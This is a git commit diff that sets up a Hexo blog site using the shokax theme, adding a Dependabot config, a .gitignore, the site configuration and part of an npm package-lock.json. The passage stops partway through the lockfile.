commit 0449d112106a44eed2e6fc3d361da52bf1c81a30 Author: Lil-Ran Date: Thu Apr 17 15:28:08 2025 +0800 turn to git diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..93385d9 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,7 @@ +version: 2 +updates: +- package-ecosystem: npm + directory: "/" + schedule: + interval: daily + open-pull-requests-limit: 20 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6a53229 --- /dev/null +++ b/.gitignore @@ -0,0 +1,11 @@ +.DS_Store +Thumbs.db +db.json +*.log +node_modules/ +public/ +.deploy*/ +_multiconfig.yml + +.vscode/ +shokaxTemp/ diff --git a/_config.shokax.yml b/_config.shokax.yml new file mode 100644 index 0000000..e69de29 diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..76f5c6f --- /dev/null +++ b/_config.yml @@ -0,0 +1,153 @@ +# Hexo Configuration +## Docs: https://hexo.io/docs/configuration.html +## Source: https://github.com/hexojs/hexo/ + +# Site +title: 'LilRan 的博客' +subtitle: '今日启程 无畏向前' +description: '今日启程 无畏向前' +keywords: +- '新实' +- 'LilRan' +- '计算机' +- '博客' +- 'blog' +- 'CTF' +- '逆向工程' +- '二进制分析' +- '软件' +- '开发' +author: LilRan +language: zh-CN +timezone: 'Asia/Shanghai' + +# URL +## Set your site url here. For example, if you use GitHub Page, set url as 'https://username.github.io/project' +url: https://blog.xinshi.fun +permalink: :title/ +permalink_defaults: +pretty_urls: + trailing_index: false # Set to false to remove trailing 'index.html' from permalinks + trailing_html: false # Set to false to remove trailing '.html' from permalinks + +# Directory +source_dir: source +public_dir: public +tag_dir: tags +archive_dir: archives +category_dir: categories +code_dir: downloads/code +i18n_dir: :lang +skip_render: + +# Writing +new_post_name: :title.md # File name of new posts +default_layout: post +titlecase: false # Transform title into titlecase +external_link: + enable: true # Open external links in new tab + field: site # Apply to the whole site + exclude: '' +filename_case: 0 +render_drafts: false +post_asset_folder: true +relative_link: false # 太多坑了呜呜呜 +future: true +syntax_highlighter: false +highlight: + enable: false + line_number: true + auto_detect: false + tab_replace: '' + wrap: true + hljs: false +prismjs: + enable: false + preprocess: true + line_number: true + tab_replace: '' + +markdown: + render: # 渲染器设置 + html: false # 过滤 HTML 标签 + xhtmlOut: true # 使用 '/' 来闭合单标签 (比如
)。 + breaks: true # 转换段落里的 '\n' 到
。 + linkify: true # 将类似 URL 的文本自动转换为链接。 + typographer: + quotes: "“”‘’" + plugins: # markdown-it 插件设置 + - plugin: + name: markdown-it-toc-and-anchor + enable: true + options: # 文章目录以及锚点应用的 class 名称,shoka 系主题必须设置成这样 + tocClassName: "toc" + anchorClassName: "anchor" + - plugin: + name: markdown-it-multimd-table + enable: true + options: + multiline: true + rowspan: true + headerless: true + - plugin: + name: ./markdown-it-furigana + enable: true + options: + fallbackParens: "()" + - plugin: + name: ./markdown-it-spoiler + enable: true + options: + title: "这都被你发现了" + +autoprefixer: + exclude: + - "*.min.css" + +# Home page setting +# path: Root path for your blogs index page. (default = '') +# per_page: Posts displayed per page. (0 = disable pagination) +# order_by: Posts order. (Order by date descending by default) +index_generator: + path: '' + per_page: 0 + order_by: -date + +# Category & Tag +default_category: uncategorized +category_map: +tag_map: + +# Metadata elements +## https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta +meta_generator: true + +# Date / Time format +## Hexo uses Moment.js to parse and display date +## You can customize the date format as defined in +## http://momentjs.com/docs/#/displaying/format/ +date_format: YYYY-MM-DD +time_format: HH:mm:ss +## updated_option supports 'mtime', 'date', 'empty' +updated_option: 'mtime' + +# Pagination +## Set per_page to 0 to disable pagination +per_page: 0 +pagination_dir: page + +# Include / Exclude file(s) +## include:/exclude: options only apply to the 'source/' folder +include: +exclude: +ignore: + +# Extensions +## Plugins: https://hexo.io/plugins/ +## Themes: https://hexo.io/themes/ +theme: shokax + +# Deployment +## Docs: https://hexo.io/docs/one-command-deployment +deploy: + type: '' diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..00f1c5d --- /dev/null +++ b/package-lock.json @@ -0,0 +1,6116 @@ +{ + "name": "hexo-site", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "hexo-site", + "version": "0.0.0", + "dependencies": { + "@algolia/client-search": "^4.22.1", + "@waline/client": "^3.1.3", + "algoliasearch": "^4.22.1", + "esbuild": "^0.20.1", + "hexo": "^7.0.0", + "hexo-algoliasearch": "^2.0.1", + "hexo-feed": "^1.1.2", + "hexo-fs": "^4.1.1", + "hexo-generator-archive": "^2.0.0", + "hexo-generator-category": "^2.0.0", + "hexo-generator-index": "^3.0.0", + "hexo-generator-tag": "^2.0.0", + "hexo-lightning-minify": "^0.1.5", + "hexo-pagination": "^3.0.0", + "hexo-renderer-ejs": "^2.0.0", + "hexo-renderer-multi-next-markdown-it": "^0.2.1", + "hexo-renderer-pug": "^3.0.0", + "hexo-renderer-stylus": "^3.0.0", + "hexo-server": "^3.0.0", + "hexo-theme-landscape": "^1.0.0", + "hexo-theme-shokax": "^0.4.2", + "hexo-util": "^3.2.0", + "instantsearch.js": "^4.66.0", + "js-yaml": "^4.1.0", + "mouse-firework": "^0.0.5", + "quicklink": "^2.3.0", + "theme-shokax-anime": "^0.0.6", + "theme-shokax-pjax": "^0.0.3", + "twikoo": "^1.6.31", + "unlazy": "^0.10.5", + "vue": "^3.4.21" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.3.3", + "resolved": "https://registry.npmmirror.com/@adobe/css-tools/-/css-tools-4.3.3.tgz", + "integrity": "sha512-rE0Pygv0sEZ4vBWHlAgJLGDU7Pm8xoO6p3wsEceb7GYAjScrOHpEo8KK/eVkAcnSM+slAEtXjA2JpdjLp4fJQQ==" + }, + "node_modules/@algolia/cache-browser-local-storage": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.22.1.tgz", + "integrity": "sha512-Sw6IAmOCvvP6QNgY9j+Hv09mvkvEIDKjYW8ow0UDDAxSXy664RBNQk3i/0nt7gvceOJ6jGmOTimaZoY1THmU7g==", + "dependencies": { + "@algolia/cache-common": "4.22.1" + } + }, + "node_modules/@algolia/cache-common": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.22.1.tgz", + "integrity": "sha512-TJMBKqZNKYB9TptRRjSUtevJeQVXRmg6rk9qgFKWvOy8jhCPdyNZV1nB3SKGufzvTVbomAukFR8guu/8NRKBTA==" + }, + "node_modules/@algolia/cache-in-memory": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.22.1.tgz", + "integrity": "sha512-ve+6Ac2LhwpufuWavM/aHjLoNz/Z/sYSgNIXsinGofWOysPilQZPUetqLj8vbvi+DHZZaYSEP9H5SRVXnpsNNw==", + "dependencies": { + "@algolia/cache-common": "4.22.1" + } + }, + "node_modules/@algolia/client-account": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.22.1.tgz", + "integrity": "sha512-k8m+oegM2zlns/TwZyi4YgCtyToackkOpE+xCaKCYfBfDtdGOaVZCM5YvGPtK+HGaJMIN/DoTL8asbM3NzHonw==", + "dependencies": { + "@algolia/client-common": "4.22.1", + "@algolia/client-search": "4.22.1", + "@algolia/transporter": "4.22.1" + } + }, + "node_modules/@algolia/client-analytics": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.22.1.tgz", + "integrity": "sha512-1ssi9pyxyQNN4a7Ji9R50nSdISIumMFDwKNuwZipB6TkauJ8J7ha/uO60sPJFqQyqvvI+px7RSNRQT3Zrvzieg==", + "dependencies": { + "@algolia/client-common": "4.22.1", + "@algolia/client-search": "4.22.1", + "@algolia/requester-common": "4.22.1", + "@algolia/transporter": "4.22.1" + } + }, + "node_modules/@algolia/client-common": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.22.1.tgz", + "integrity": "sha512-IvaL5v9mZtm4k4QHbBGDmU3wa/mKokmqNBqPj0K7lcR8ZDKzUorhcGp/u8PkPC/e0zoHSTvRh7TRkGX3Lm7iOQ==", + "dependencies": { + "@algolia/requester-common": "4.22.1", + "@algolia/transporter": "4.22.1" + } + }, + "node_modules/@algolia/client-personalization": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.22.1.tgz", + "integrity": "sha512-sl+/klQJ93+4yaqZ7ezOttMQ/nczly/3GmgZXJ1xmoewP5jmdP/X/nV5U7EHHH3hCUEHeN7X1nsIhGPVt9E1cQ==", + "dependencies": { + "@algolia/client-common": "4.22.1", + "@algolia/requester-common": "4.22.1", + "@algolia/transporter": "4.22.1" + } + }, + "node_modules/@algolia/client-search": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.22.1.tgz", + "integrity": "sha512-yb05NA4tNaOgx3+rOxAmFztgMTtGBi97X7PC3jyNeGiwkAjOZc2QrdZBYyIdcDLoI09N0gjtpClcackoTN0gPA==", + "dependencies": { + "@algolia/client-common": "4.22.1", + "@algolia/requester-common": "4.22.1", + "@algolia/transporter": "4.22.1" + } + }, + "node_modules/@algolia/events": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/@algolia/events/-/events-4.0.1.tgz", + "integrity": "sha512-FQzvOCgoFXAbf5Y6mYozw2aj5KCJoA3m4heImceldzPSMbdyS4atVjJzXKMsfX3wnZTFYwkkt8/z8UesLHlSBQ==" + }, + "node_modules/@algolia/logger-common": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.22.1.tgz", + "integrity": "sha512-OnTFymd2odHSO39r4DSWRFETkBufnY2iGUZNrMXpIhF5cmFE8pGoINNPzwg02QLBlGSaLqdKy0bM8S0GyqPLBg==" + }, + "node_modules/@algolia/logger-console": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.22.1.tgz", + "integrity": "sha512-O99rcqpVPKN1RlpgD6H3khUWylU24OXlzkavUAMy6QZd1776QAcauE3oP8CmD43nbaTjBexZj2nGsBH9Tc0FVA==", + "dependencies": { + "@algolia/logger-common": "4.22.1" + } + }, + "node_modules/@algolia/requester-browser-xhr": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.22.1.tgz", + "integrity": "sha512-dtQGYIg6MteqT1Uay3J/0NDqD+UciHy3QgRbk7bNddOJu+p3hzjTRYESqEnoX/DpEkaNYdRHUKNylsqMpgwaEw==", + "dependencies": { + "@algolia/requester-common": "4.22.1" + } + }, + "node_modules/@algolia/requester-common": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.22.1.tgz", + "integrity": "sha512-dgvhSAtg2MJnR+BxrIFqlLtkLlVVhas9HgYKMk2Uxiy5m6/8HZBL40JVAMb2LovoPFs9I/EWIoFVjOrFwzn5Qg==" + }, + "node_modules/@algolia/requester-node-http": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.22.1.tgz", + "integrity": "sha512-JfmZ3MVFQkAU+zug8H3s8rZ6h0ahHZL/SpMaSasTCGYR5EEJsCc8SI5UZ6raPN2tjxa5bxS13BRpGSBUens7EA==", + "dependencies": { + "@algolia/requester-common": "4.22.1" + } + }, + "node_modules/@algolia/transporter": { + "version": "4.22.1", + "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.22.1.tgz", + "integrity": "sha512-kzWgc2c9IdxMa3YqA6TN0NW5VrKYYW/BELIn7vnLyn+U/RFdZ4lxxt9/8yq3DKV5snvoDzzO4ClyejZRdV3lMQ==", + "dependencies": { + "@algolia/cache-common": "4.22.1", + "@algolia/logger-common": "4.22.1", + "@algolia/requester-common": "4.22.1" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.23.5", + "resolved": "https://registry.npmmirror.com/@babel/code-frame/-/code-frame-7.23.5.tgz", + "integrity": "sha512-CgH3s1a96LipHCmSUmYFPwY7MNx8C3avkq7i4Wl3cfa662ldtUe4VM1TPXX70pfmrlWTb6jLqTYrZyT2ZTJBgA==", + "dependencies": { + "@babel/highlight": "^7.23.4", + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/code-frame/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/code-frame/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/@babel/code-frame/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/code-frame/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.23.4", + "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.23.4.tgz", + "integrity": "sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.20", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz", + "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.23.4", + "resolved": "https://registry.npmmirror.com/@babel/highlight/-/highlight-7.23.4.tgz", + "integrity": "sha512-acGdbYSfp2WheJoJm/EBBBLh/ID8KDc64ISZ9DYtBmC8/Q204PZJLHyzeB5qMzJ5trcOkybd78M4x2KWsUq++A==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.20", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.24.0", + "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.24.0.tgz", + "integrity": "sha512-QuP/FxEAzMSjXygs8v4N9dvdXzEHN4W1oF3PxuWAtPo08UdM17u89RDMgjLn/mlc56iM0HlLmVkO/wgR+rDgHg==", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.24.0", + "resolved": "https://registry.npmmirror.com/@babel/runtime/-/runtime-7.24.0.tgz", + "integrity": "sha512-Chk32uHMg6TnQdvw2e9IlqPpFX/6NLuK0Ys2PqLb7/gL5uFn9mXvK715FGLlOLQrcO4qIkNHkvPGktzzXexsFw==", + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.24.0", + "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.24.0.tgz", + "integrity": "sha512-+j7a5c253RfKh8iABBhywc8NSfP5LURe7Uh4qpsh6jc+aLJguvmIUBdjSdEMQv2bENrCR5MfRdjGo7vzS/ob7w==", + "dependencies": { + "@babel/helper-string-parser": "^7.23.4", + "@babel/helper-validator-identifier": "^7.22.20", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@emnapi/runtime": { + "version": "0.45.0", + "resolved": "https://registry.npmmirror.com/@emnapi/runtime/-/runtime-0.45.0.tgz", + "integrity": "sha512-Txumi3td7J4A/xTTwlssKieHKTGl3j4A1tglBx72auZ49YK7ePY6XZricgIg9mnZT4xPfA+UPCUdnhRuEFDL+w==", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/aix-ppc64/-/aix-ppc64-0.20.1.tgz", + "integrity": "sha512-m55cpeupQ2DbuRGQMMZDzbv9J9PgVelPjlcmM5kxHnrBdBx6REaEd7LamYV7Dm8N7rCyR/XwU6rVP8ploKtIkA==", + "cpu": [ + "ppc64" + ], + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.20.1.tgz", + "integrity": "sha512-4j0+G27/2ZXGWR5okcJi7pQYhmkVgb4D7UKwxcqrjhvp5TKWx3cUjgB1CGj1mfdmJBQ9VnUGgUhign+FPF2Zgw==", + "cpu": [ + "arm" + ], + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.20.1.tgz", + "integrity": "sha512-hCnXNF0HM6AjowP+Zou0ZJMWWa1VkD77BXe959zERgGJBBxB+sV+J9f/rcjeg2c5bsukD/n17RKWXGFCO5dD5A==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.20.1.tgz", + "integrity": "sha512-MSfZMBoAsnhpS+2yMFYIQUPs8Z19ajwfuaSZx+tSl09xrHZCjbeXXMsUF/0oq7ojxYEpsSo4c0SfjxOYXRbpaA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.20.1.tgz", + "integrity": "sha512-Ylk6rzgMD8klUklGPzS414UQLa5NPXZD5tf8JmQU8GQrj6BrFA/Ic9tb2zRe1kOZyCbGl+e8VMbDRazCEBqPvA==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.20.1.tgz", + "integrity": "sha512-pFIfj7U2w5sMp52wTY1XVOdoxw+GDwy9FsK3OFz4BpMAjvZVs0dT1VXs8aQm22nhwoIWUmIRaE+4xow8xfIDZA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.20.1.tgz", + "integrity": "sha512-UyW1WZvHDuM4xDz0jWun4qtQFauNdXjXOtIy7SYdf7pbxSWWVlqhnR/T2TpX6LX5NI62spt0a3ldIIEkPM6RHw==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.20.1.tgz", + "integrity": "sha512-itPwCw5C+Jh/c624vcDd9kRCCZVpzpQn8dtwoYIt2TJF3S9xJLiRohnnNrKwREvcZYx0n8sCSbvGH349XkcQeg==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.20.1.tgz", + "integrity": "sha512-LojC28v3+IhIbfQ+Vu4Ut5n3wKcgTu6POKIHN9Wpt0HnfgUGlBuyDDQR4jWZUZFyYLiz4RBBBmfU6sNfn6RhLw==", + "cpu": [ + "arm" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.20.1.tgz", + "integrity": "sha512-cX8WdlF6Cnvw/DO9/X7XLH2J6CkBnz7Twjpk56cshk9sjYVcuh4sXQBy5bmTwzBjNVZze2yaV1vtcJS04LbN8w==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.20.1.tgz", + "integrity": "sha512-4H/sQCy1mnnGkUt/xszaLlYJVTz3W9ep52xEefGtd6yXDQbz/5fZE5dFLUgsPdbUOQANcVUa5iO6g3nyy5BJiw==", + "cpu": [ + "ia32" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.20.1.tgz", + "integrity": "sha512-c0jgtB+sRHCciVXlyjDcWb2FUuzlGVRwGXgI+3WqKOIuoo8AmZAddzeOHeYLtD+dmtHw3B4Xo9wAUdjlfW5yYA==", + "cpu": [ + "loong64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.20.1.tgz", + "integrity": "sha512-TgFyCfIxSujyuqdZKDZ3yTwWiGv+KnlOeXXitCQ+trDODJ+ZtGOzLkSWngynP0HZnTsDyBbPy7GWVXWaEl6lhA==", + "cpu": [ + "mips64el" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.20.1.tgz", + "integrity": "sha512-b+yuD1IUeL+Y93PmFZDZFIElwbmFfIKLKlYI8M6tRyzE6u7oEP7onGk0vZRh8wfVGC2dZoy0EqX1V8qok4qHaw==", + "cpu": [ + "ppc64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.20.1.tgz", + "integrity": "sha512-wpDlpE0oRKZwX+GfomcALcouqjjV8MIX8DyTrxfyCfXxoKQSDm45CZr9fanJ4F6ckD4yDEPT98SrjvLwIqUCgg==", + "cpu": [ + "riscv64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.20.1.tgz", + "integrity": "sha512-5BepC2Au80EohQ2dBpyTquqGCES7++p7G+7lXe1bAIvMdXm4YYcEfZtQrP4gaoZ96Wv1Ute61CEHFU7h4FMueQ==", + "cpu": [ + "s390x" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.20.1.tgz", + "integrity": "sha512-5gRPk7pKuaIB+tmH+yKd2aQTRpqlf1E4f/mC+tawIm/CGJemZcHZpp2ic8oD83nKgUPMEd0fNanrnFljiruuyA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.20.1.tgz", + "integrity": "sha512-4fL68JdrLV2nVW2AaWZBv3XEm3Ae3NZn/7qy2KGAt3dexAgSVT+Hc97JKSZnqezgMlv9x6KV0ZkZY7UO5cNLCg==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.20.1.tgz", + "integrity": "sha512-GhRuXlvRE+twf2ES+8REbeCb/zeikNqwD3+6S5y5/x+DYbAQUNl0HNBs4RQJqrechS4v4MruEr8ZtAin/hK5iw==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.20.1", + "resolved": 